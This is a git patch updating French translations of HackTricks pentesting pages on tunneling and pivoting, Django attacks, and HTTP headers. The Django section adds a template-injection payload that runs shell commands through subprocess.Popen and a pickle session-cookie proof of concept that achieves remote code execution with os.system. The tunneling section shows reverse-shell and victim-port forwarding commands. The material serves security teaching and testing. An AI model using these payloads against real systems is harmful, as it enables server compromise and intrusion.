From 63a754b981a6afbc1f3eb52015907354374d68d3 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 10 Jul 2025 22:09:49 +0000 Subject: [PATCH] Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src --- .../tunneling-and-port-forwarding.md | 18 ++--- .../pentesting-web/django.md | 69 ++++++++++++++++++- .../pentesting-web/special-http-headers.md | 44 ++++++++++-- 3 files changed, 117 insertions(+), 14 deletions(-) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index cfc8efe50..2a79f9cff 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -57,7 +57,7 @@ ssh -f -N -D @ #All sent to local port ``` ### Reverse Port Forwarding -Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes via une DMZ vers votre hôte : +Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes à travers une DMZ vers votre hôte : ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` > [!NOTE] > **Sécurité – Attaque Terrapin (CVE-2023-48795)** -> L'attaque de rétrogradation Terrapin de 2023 peut permettre à un homme du milieu de manipuler la première poignée de main SSH et d'injecter des données dans **n'importe quel canal transféré** ( `-L`, `-R`, `-D` ). Assurez-vous que le client et le serveur sont corrigés (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ou désactivez explicitement les algorithmes vulnérables `chacha20-poly1305@openssh.com` et `*-etm@openssh.com` dans `sshd_config`/`ssh_config` avant de compter sur les tunnels SSH. citeturn4search0 +> L'attaque de rétrogradation Terrapin de 2023 peut permettre à un homme du milieu de manipuler la première poignée de main SSH et d'injecter des données dans **n'importe quel canal transféré** ( `-L`, `-R`, `-D` ). Assurez-vous que le client et le serveur sont corrigés (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ou désactivez explicitement les algorithmes vulnérables `chacha20-poly1305@openssh.com` et `*-etm@openssh.com` dans `sshd_config`/`ssh_config` avant de compter sur les tunnels SSH. ## SSHUTTLE @@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Vous devez avoir **un accès RDP sur le système**.\ Téléchargez : -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité de Service de Bureau à Distance de Windows. DVC est responsable de **l'acheminement des paquets sur la connexion RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **tunneling des paquets sur la connexion RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci : @@ -358,7 +358,7 @@ Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci : # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Maintenant, nous pouvons **connecter** au **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le **plugin SocksOverRDP est activé**, et il va **écouter** sur **127.0.0.1:1080**. +Maintenant, nous pouvons **connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le **plugin SocksOverRDP est activé**, et qu'il va **écouter** sur **127.0.0.1:1080**. **Connectez-vous** via **RDP** et téléchargez & exécutez sur la machine de la victime le binaire `SocksOverRDP-Server.exe` : ``` @@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **est un outil pour exposer des solutions à Internet en une ligne de commande.**\ -_Les URI d'exposition sont comme :_ **UID.ngrok.io** +_Exposition URI sont comme:_ **UID.ngrok.io** ### Installation @@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/ ``` ## Cloudflared (Cloudflare Tunnel) -Le démon `cloudflared` de Cloudflare peut créer des tunnels sortants qui exposent **des services TCP/UDP locaux** sans nécessiter de règles de pare-feu entrantes, en utilisant l'edge de Cloudflare comme point de rendez-vous. Cela est très pratique lorsque le pare-feu de sortie n'autorise que le trafic HTTPS mais que les connexions entrantes sont bloquées. +Le démon `cloudflared` de Cloudflare peut créer des tunnels sortants qui exposent **des services TCP/UDP locaux** sans nécessiter de règles de pare-feu entrantes, en utilisant l'edge de Cloudflare comme point de rendez-vous. C'est très pratique lorsque le pare-feu de sortie n'autorise que le trafic HTTPS mais que les connexions entrantes sont bloquées. ### Quick tunnel one-liner ```bash @@ -574,11 +574,11 @@ Démarrez le connecteur : ```bash cloudflared tunnel run mytunnel ``` -Parce que tout le trafic quitte l'hôte **sortant sur 443**, les tunnels Cloudflared sont un moyen simple de contourner les ACL d'entrée ou les limites NAT. Soyez conscient que le binaire s'exécute généralement avec des privilèges élevés – utilisez des conteneurs ou le drapeau `--user` lorsque cela est possible. citeturn1search0 +Parce que tout le trafic quitte l'hôte **sortant sur 443**, les tunnels Cloudflared sont un moyen simple de contourner les ACL d'entrée ou les limites NAT. Soyez conscient que le binaire s'exécute généralement avec des privilèges élevés – utilisez des conteneurs ou le drapeau `--user` lorsque cela est possible. ## FRP (Fast Reverse Proxy) -[`frp`](https://github.com/fatedier/frp) est un reverse-proxy Go activement maintenu qui prend en charge **TCP, UDP, HTTP/S, SOCKS et le P2P NAT-hole-punching**. À partir de **v0.53.0 (mai 2024)**, il peut agir comme une **passerelle de tunnel SSH**, permettant à un hôte cible de créer un tunnel inverse en utilisant uniquement le client OpenSSH standard – aucun binaire supplémentaire requis. +[`frp`](https://github.com/fatedier/frp) est un reverse-proxy Go activement maintenu qui prend en charge **TCP, UDP, HTTP/S, SOCKS et P2P NAT-hole-punching**. À partir de **v0.53.0 (mai 2024)**, il peut agir comme un **SSH Tunnel Gateway**, permettant à un hôte cible de créer un tunnel inverse en utilisant uniquement le client OpenSSH standard – aucun binaire supplémentaire requis. ### Tunnel TCP inverse classique ```bash @@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml # On victim (OpenSSH client only) ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000 ``` -La commande ci-dessus publie le port de la victime **8080** en tant que **attacker_ip:9000** sans déployer d'outils supplémentaires – idéal pour le pivotement en vivant sur le terrain. citeturn2search1 +La commande ci-dessus publie le port de la victime **8080** en tant que **attacker_ip:9000** sans déployer d'outils supplémentaires – idéal pour le pivotement en vivant des ressources disponibles. ## Autres outils à vérifier diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 1b48b4e0b..740110420 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -3,10 +3,77 @@ {{#include /banners/hacktricks-training.md}} ## Manipulation du cache pour RCE -La méthode de stockage de cache par défaut de Django est [Python pickles](https://docs.python.org/3/library/pickle.html), ce qui peut conduire à RCE si [des entrées non fiables sont dé-picklées](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité à RCE sur le serveur sous-jacent**. +La méthode de stockage par défaut du cache de Django est [Python pickles](https://docs.python.org/3/library/pickle.html), ce qui peut conduire à RCE si [des entrées non fiables sont dé-picklées](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent**. Le cache de Django est stocké dans l'un des quatre endroits suivants : [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [mémoire](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fichiers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou une [base de données](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Le cache stocké dans un serveur Redis ou une base de données est le vecteur d'attaque le plus probable (injection Redis et injection SQL), mais un attaquant peut également être en mesure d'utiliser un cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont marqué cela comme un non-problème. Il est important de noter que le dossier de fichiers de cache, le nom de la table SQL et les détails du serveur Redis varieront en fonction de l'implémentation. Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base de données SQLite : https://hackerone.com/reports/1415436 +--- + +## Injection de modèle côté serveur (SSTI) +Le langage de modèle Django (DTL) est **Turing-complet**. Si des données fournies par l'utilisateur sont rendues sous forme de *chaîne de modèle* (par exemple en appelant `Template(user_input).render()` ou lorsque `|safe`/`format_html()` supprime l'auto-échappement), un attaquant peut atteindre un SSTI complet → RCE. + +### Détection +1. Recherchez des appels dynamiques à `Template()` / `Engine.from_string()` / `render_to_string()` qui incluent *toute* donnée de requête non assainie. +2. Envoyez une charge utile basée sur le temps ou arithmétique : +```django +{{7*7}} +``` +Si la sortie rendue contient `49`, l'entrée est compilée par le moteur de modèle. + +### Primitive à RCE +Django bloque l'accès direct à `__import__`, mais le graphe d'objets Python est accessible : +```django +{{''.__class__.mro()[1].__subclasses__()}} +``` +Trouvez l'index de `subprocess.Popen` (≈400–500 selon la version de Python) et exécutez des commandes arbitraires : +```django +{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} +``` +Un gadget universel plus sûr consiste à itérer jusqu'à ce que `cls.__name__ == 'Popen'`. + +Le même gadget fonctionne pour les fonctionnalités de rendu de **Debug Toolbar** ou **Django-CMS** qui gèrent mal les entrées utilisateur. + +--- + +## Exécution de Code à Distance via Cookie de Session Basé sur Pickle +Si le paramètre `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` est activé (ou un sérialiseur personnalisé qui désérialise pickle), Django *décrypte et désérialise* le cookie de session **avant** d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (la `SECRET_KEY` du projet par défaut) suffit pour une exécution immédiate de code à distance. + +### Exigences d'Exploitation +* Le serveur utilise `PickleSerializer`. +* L'attaquant connaît / peut deviner `settings.SECRET_KEY` (fuites via GitHub, `.env`, pages d'erreur, etc.). + +### Preuve de Concept +```python +#!/usr/bin/env python3 +from django.contrib.sessions.serializers import PickleSerializer +from django.core import signing +import os, base64 + +class RCE(object): +def __reduce__(self): +return (os.system, ("id > /tmp/pwned",)) + +mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) +print(f"sessionid={mal}") +``` +Envoyez le cookie résultant, et le payload s'exécute avec les permissions du worker WSGI. + +**Atténuations** : Gardez le `JSONSerializer` par défaut, faites tourner le `SECRET_KEY`, et configurez `SESSION_COOKIE_HTTPONLY`. + +--- + +## CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Doivent Vérifier +* **CVE-2025-48432** – *Injection de Log via `request.path` non échappé* (corrigé le 4 juin 2025). Permet aux attaquants de faire passer des nouvelles lignes/des codes ANSI dans les fichiers journaux et de polluer l'analyse des journaux en aval. Niveau de patch ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Injection SQL critique* dans `QuerySet.values()/values_list()` sur `JSONField` (CVSS 9.8). Créez des clés JSON pour sortir des guillemets et exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8. + +Toujours identifier la version exacte du framework via la page d'erreur `X-Frame-Options` ou le hash de `/static/admin/css/base.css` et tester ce qui précède lorsque cela est applicable. + +--- + +## Références +* Publication de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 traitent CVE-2025-48432" – 4 juin 2025. +* OP-Innovate : "Django publie des mises à jour de sécurité pour traiter la faille d'injection SQL CVE-2024-42005" – 11 août 2024. + {{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 835b8366d..8f6731259 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -59,7 +59,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa - **`X-Cache`** dans la réponse peut avoir la valeur **`miss`** lorsque la demande n'a pas été mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache - Comportement similaire dans l'en-tête **`Cf-Cache-Status`** - **`Cache-Control`** indique si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800` -- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont considérés comme **partie de la clé de cache** même s'ils ne sont normalement pas indexés. +- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont considérés comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. - **`Age`** définit le temps en secondes que l'objet a passé dans le cache proxy. - **`Server-Timing: cdn-cache; desc=HIT`** indique également qu'une ressource a été mise en cache @@ -67,7 +67,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa ../../pentesting-web/cache-deception/ {{#endref}} -**En-têtes de cache local** : +**En-têtes de cache locaux** : - `Clear-Site-Data`: En-tête pour indiquer le cache qui doit être supprimé : `Clear-Site-Data: "cache", "cookies"` - `Expires`: Contient la date/heure à laquelle la réponse doit expirer : `Expires: Wed, 21 Oct 2015 07:28:00 GMT` @@ -90,7 +90,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa ## Informations sur le corps du message -- **`Content-Length` :** La taille de la ressource, en nombre décimal d'octets. +- **`Content-Length`:** La taille de la ressource, en nombre décimal d'octets. - **`Content-Type`** : Indique le type de média de la ressource - **`Content-Encoding`** : Utilisé pour spécifier l'algorithme de compression. - **`Content-Language`** : Décrit la ou les langues humaines destinées au public, afin de permettre à un utilisateur de différencier selon la langue préférée de l'utilisateur. @@ -154,7 +154,7 @@ X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -Pour lutter contre le clickjacking, cet en-tête limite la manière dont les documents peuvent être intégrés dans les balises ``, `